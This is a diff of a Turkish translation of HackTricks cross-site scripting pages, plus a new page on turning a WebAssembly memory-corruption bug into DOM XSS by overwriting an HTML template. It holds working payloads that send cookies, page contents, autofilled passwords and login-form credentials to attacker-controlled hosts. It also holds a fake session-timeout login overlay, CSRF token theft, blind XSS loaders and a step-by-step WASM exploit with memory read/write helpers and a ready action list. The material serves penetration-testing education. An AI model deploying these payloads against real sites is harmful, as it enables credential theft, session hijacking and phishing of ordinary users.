Önceki örneğe benzer şekilde, **use error handlers** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
```javascript
try {
null.f()
@ -1091,7 +1099,7 @@ trigger()
```
### Obfuscation & Gelişmiş Bypass
- **Aynı sayfada farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **Farklı obfuscations tek sayfada:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1272,23 +1280,23 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
```
## XSS yaygın payloads
### Birden fazla payload bir arada
### Bir arada birden fazla payload
{{#ref}}
steal-info-js.md
{{#endref}}
### Iframe Trap
### Iframe Tuzak
Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini çalın (formlarla gönderilen bilgiler dahil):
Kullanıcının sayfada iframe'den çıkmadan gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:
{{#ref}}
../iframe-traps.md
{{#endref}}
### Cookies Elde Etme
### Cookies Alma
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1311,8 +1319,8 @@ Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemler
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> Eğer cookie üzerinde HTTPOnly flag ayarlıysa, **JavaScript ile cookies'e erişemezsiniz**. Ancak şanslıysanız, bu korumayı atlatmanın [bazı yolları](../hacking-with-cookies/index.html#httponly) burada.
> Cookie'de HTTPOnly flag ayarlıysa, **JavaScript'ten cookies'e erişemeyeceksiniz**. Ancak şanslıysanız, bu korumayı bypass etmenin [bazı yolları](../hacking-with-cookies/index.html#httponly) var.
### Sayfa İçeriğini Çal
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
@ -1326,7 +1334,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### Dahili IP'leri Bul
### Dahili IP'leri bul
```html
<script>
var q = []
@ -1410,7 +1418,7 @@ Chrome'da yasaklanan portların listesini [**here**](https://src.chromium.org/vi
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Otomatik doldurma şifrelerini yakalama
### Otomatik doldurma şifrelerinin yakalanması
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1421,13 +1429,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri sızdırılacaktır.
### Hijack form handlers to exfiltrate credentials (const shadowing)
Parola alanına herhangi bir veri girildiğinde, username ve password saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile hiçbir şey yazmasa dahi kimlik bilgileri sızdırılacaktır.
Eğer kritik bir handler (e.g., `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (e.g., via an inline JS-in-JS sink), aynı isimle bir `const` tanımlayarak handler'ı önceden ele geçirip kilitleyin. Daha sonraki function declarations bir `const` ismini yeniden bağlayamaz; böylece hook kontrolü elinde tutar:
Eğer kritik bir handler (ör. `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (ör. via an inline JS-in-JS sink), aynı ada sahip bir `const` tanımlayarak handler'ı önden ele geçirip kilitleyin. Sonraki function declarations bir `const` adını yeniden bağlayamaz, böylece hook'unuz kontrolü elinde tutar:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1436,18 +1442,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Notlar
- Bu, yürütme sırasına dayanır: injection'ınız meşru deklarasyondan önce çalışmalıdır.
- Eğer payload'unuz `eval(...)` ile sarılmışsa, `const/let` bindings global olmaz. Gerçek bir true global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'daki dynamic `<script>` injection tekniğini kullanın.
- Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped identifiers veya `eval(atob('...'))` delivery ile birleştirin, yukarıda gösterildiği gibi.
- Bu, yürütme sırasına dayanır: injection'iniz meşru declaration'dan önce çalışmalıdır.
- Eğer payload'ınız `eval(...)` ile sarılıysa, `const/let` bağlamları global olmaz. Gerçek bir global, yeniden bağlanamaz binding sağlamak için “Deliverable payloads with eval(atob()) and scope nuances” bölümündeki dynamic `<script>` injection tekniğini kullanın.
- Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode-escaped identifiers veya `eval(atob('...'))` teslimi ile birleştirin.
### Keylogger
Sadece github'da arama yapınca birkaç farklı tane buldum:
Sadece github'da arama yapınca birkaç farklı örnek buldum:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Ayrıca metasploit `http_javascript_keylogger`'ı da kullanabilirsiniz
- Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz
### Stealing CSRF tokens
```javascript
@ -1472,14 +1478,14 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Service Workers'ı Kötüye Kullanma
### Service Workers'ı kötüye kullanma
{{#ref}}
abusing-service-workers.md
{{#endref}}
### Shadow DOM'a Erişim
### Shadow DOM'a erişim
{{#ref}}
@ -1495,7 +1501,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blind XSS payloads
Ayrıca şu adresi de kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com)
Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com)
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
@ -1562,7 +1568,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Gizli İçeriğe Erişim
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) üzerinden öğrenilebileceği gibi bazı değerler JS'ten kaybolsa bile, bunları farklı nesnelerdeki JS attributes içinde bulmak hâlâ mümkün. Örneğin, bir REGEX input'u, regex inputunun değeri kaldırıldıktan sonra bile bulunabilir:
Bu [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) sayesinde bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS attribute'larında hâlâ bulunabileceğini öğrenebilirsiniz. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1586,37 +1592,36 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS ile diğer zafiyetleri suistimal etme
## XSS ile diğer zafiyetleri kötüye kullanma
### XSS in Markdown
### Markdown'da XSS
Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:
Markdown kodu enjekte edilebilir ve render edilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:
{{#ref}}
xss-in-markdown.md
{{#endref}}
### XSS to SSRF
### XSS'ten SSRF'e
Önbellekleme kullanan bir **sitede** XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'e yükseltmeyi** deneyin; payload:
Bir **önbellekleme kullanan bir sitede** XSS mi buldunuz? Bunu Edge Side Include Injection ile **SSRF'e yükseltmeyi** deneyin; şu payload ile:
```python
<esi:include src="http://yoursite.com/capture" />
```
Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını bypass etmek için kullanın!\
Daha fazla bilgi için: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanın!\
Bu teknik hakkında daha fazla bilgi: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### Dinamik oluşturulan PDF'te XSS
Eğer bir web sayfası kullanıcı kontrollü girdilerle PDF oluşturuyorsa, PDF'yi oluşturan **bot'u kandırarak** **herhangi bir JS kodu çalıştırmasını** sağlayabilirsiniz.\
Yani, eğer **PDF creator bot** herhangi bir **HTML** **tags** bulursa, bunları **interpret** edecek ve bu davranışı **abuse** ederek bir **Server XSS** tetikleyebilirsiniz.
Bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **bot'u kandırarak** onu **keyfi JS kodu çalıştırmaya** yönlendirmeye çalışabilirsiniz.\ Yani, eğer **PDF oluşturucu bot** herhangi bir tür **HTML** **etiketi** bulursa, bunları **yorumlayacak**, ve bu davranışı **istismar ederek** bir **Server XSS** tetikleyebilirsiniz.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Eğer HTML tags enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir:
Eğer HTML etiketleri enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
{{#ref}}
@ -1625,15 +1630,15 @@ pdf-injection.md
### Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan, işlevselliği sağlamak için JavaScript ile desteklenmiş HTML tag'larını içeren; hız ve güvenliğe vurgu yapan bir teknolojidir. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir.
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı hedefleyerek, işlevselliği sağlamak için HTML etiketlerini JavaScript ile destekler; hız ve güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşime girmesini sağlar.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle e-postaları içinde doğrudan etkileşime girmesini sağlar.
Örnek: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Örnek [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS dosya yükleme (svg)
### XSS ile dosya yükleme (svg)
Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Aşağıdakine benzer bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1689,9 +1694,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Daha fazla **SVG payloads için** bak: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Daha fazla **SVG payloads için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Çeşitli JS Hileleri & İlgili Bilgiler
## Çeşitli JS Hileleri ve İlgili Bilgiler
{{#ref}}

133
src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md Normal file
View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption ile DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Bu teknik, Emscripten ile derlenmiş bir WebAssembly (WASM) modülü içindeki bir bellek-bozulma bug'ının, giriş sanitize edilmiş olsa bile güvenilir bir DOM XSS'e nasıl dönüştürülebileceğini gösterir. Pivot, sanitize edilmiş kaynak stringe saldırmak yerine WASM linear memory içindeki yazılabilir constants'ları (ör. HTML format templates) bozmak.
Ana fikir: WebAssembly modelinde kod, yazılamayan executable sayfalarda bulunur; ancak modülün verileri (heap/stack/globals/"constants") tek bir düz linear memory'de (64KB sayfalar) yer alır ve modül tarafından yazılabilir. Eğer hatalı C/C++ kodu out-of-bounds yazarsa, bitişik objeleri ve hatta linear memory içine gömülü constant stringleri overwrite edebilirsiniz. Böyle bir constant daha sonra bir DOM sink aracılığıyla insert için HTML oluşturmakta kullanıldığında, sanitize edilmiş girdiyi çalıştırılabilir JavaScript'e dönüştürebilirsiniz.
Tehdit modeli ve önkoşullar
- Web uygulaması, bir WASM modülünü çağırmak için Emscripten glue (Module.cwrap) kullanır.
- Uygulama durumu WASM linear memory içinde yaşar (ör. user buffer'lara işaretçiler/uzunluk içeren C structs).
- Girdi sanitizer'ı depolamadan önce metakarakterleri encode eder, ancak sonraki render aşamasında WASM linear memory içinde depolanan bir format string kullanılarak HTML oluşturulur.
- Bir linear-memory corruption primitive mevcut (ör. heap overflow, UAF veya unchecked memcpy).
Minimal zafiyetli veri modeli (örnek)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Zafiyetli mantık deseni
- addMsg(): sanitize edilmiş input boyutuna göre yeni bir buffer ayırır ve s.mess'e bir msg ekler; gerektiğinde realloc ile kapasiteyi iki katına çıkarır.
- editMsg(): yeni baytları yeniden sanitize eder ve memcpy ile mevcut buffera kopyalar; yeni uzunluğun eski tahsise ≤ olduğunu garanti etmez → intra‑linear‑memory heap overflow.
- populateMsgHTML(): sanitize edilmiş metni, linear memory içinde bulunan "<article><p>%.*s</p></article>" gibi gömülü bir stub ile formatlar. Dönen HTML bir DOM sink'ine (ör. innerHTML) gider.
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Başlangıç kapasitesini aşacak kadar mesaj gönder. Büyüme sonrası realloc() genellikle s->mess'i linear memory'deki son kullanıcı buffer'ının hemen sonrasına yerleştirir.
- Son mesajı editMsg() ile overflow ederek s->mess içindeki alanları boz (ör. msg_data pointer'larını overwrite et) → daha sonra render edilecek veriler için linear memory içinde keyfi pointer yeniden yazımı.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization girişi korur, sink'leri değil. populateMsgHTML() tarafından kullanılan format stub'ını bul, örneğin:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Stub'ı deterministik şekilde linear memory'yi tarayarak bul; Module.HEAPU8 içinde düz bir byte string olarak bulunur.
- Stub'ı overwrite ettikten sonra, sanitize edilmiş mesaj içeriği onerror için JavaScript handler'ı olur; bu yüzden alert(1337) gibi bir metinle yeni bir mesaj eklemek <img src=1 onerror=alert(1337)> üretir ve DOM'da hemen çalışır.
Chrome DevTools workflow (Emscripten glue)
- JS glue içindeki ilk Module.cwrap çağrısında breakpoint koy ve wasm çağrı noktasına adım atarak pointer argümanlarını yakala (linear memory içindeki sayısal offset'ler).
- Konsoldan WASM belleğini okumak/yazmak için Module.HEAPU8 gibi typed view'ları kullan.
- Yardımcı snippet'lar:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
Uçtan uca exploitation tarifi
1) Hazırlık: N küçük mesaj ekleyin realloc() tetiklemek için. s->mess'in bir kullanıcı buffer'ının bitişiğinde olduğundan emin olun.
2) Overflow: editMsg()'i son mesaj üzerinde daha uzun bir payload ile çağırarak s->mess içindeki bir girişi overwrite edin; böylece message 0'ın msg_data'sı (stub_addr + 1)'i gösterecek şekilde ayarlanır. +1, sonraki edit sırasında tag hizalamasını korumak için baştaki '<' karakterini atlar.
3) Template rewrite: mesaj 0'ı düzenleyin, böylece byte'ları template'i şu içerikle overwrite etsin: "img src=1 onerror=%.*s ".
4) Trigger XSS: sanitize edilmiş içeriği JavaScript olan yeni bir mesaj ekleyin, örn alert(1337). Rendering <img src=1 onerror=alert(1337)> üretir ve çalıştırır.
Örnek eylem listesi ?s= içine serialize edilip yerleştirilecek (kullanmadan önce btoa ile Base64-encode edin)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Bu bypass neden işe yarıyor
- WASM linear memory'den kod çalıştırılmasını engeller, ancak program mantığı hatalıysa linear memory içindeki constant data yazılabilir.
- Sanitizer sadece source string'i korur; sink'i (the HTML template) bozarak, sanitized input JS handler değeri olur ve DOM'a eklendiğinde çalışır.
- realloc()-driven adjacency ile edit flow'larındaki unchecked memcpy birleştirildiğinde pointer corruption'a izin vererek yazıları attacker-chosen adreslere, linear memory içinde yeniden yönlendirmek mümkün olur.
Generalization and other attack surface
- linear memory'ye gömülü herhangi bir in-memory HTML template, JSON skeleton veya URL pattern hedef alınabilir; böylece sanitized data'nın downstream'da nasıl yorumlandığı değiştirilebilir.
- Diğer yaygın WASM tuzakları: linear memory'de out-of-bounds yazma/okuma, heap object'lerde UAF, unchecked indirect call indices ile function-table yanlış kullanımı ve JS↔WASM glue uyumsuzlukları.
Defensive guidance
- Edit path'larda, new length ≤ capacity olduğunu doğrulayın; kopyalamadan önce buffer'ları yeniden boyutlandırın (realloc to new_len) veya size-bounded API'ler (snprintf/strlcpy) kullanın ve capacity'yi takip edin.
- Immutable template'leri writable linear memory dışında tutun ya da kullanmadan önce integrity-check yapın.
- JS↔WASM sınırlarını untrusted kabul edin: pointer ranges/lengths'i doğrulayın, exported interface'leri fuzz edin ve memory growth'i sınırlayın.
- Sanitize'i sink'de yapın: WASM içinde HTML oluşturmaktan kaçının; innerHTML-style templating yerine güvenli DOM API'lerini tercih edin.
- Privileged flow'lar için URL-embedded state'e güvenmekten kaçının.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}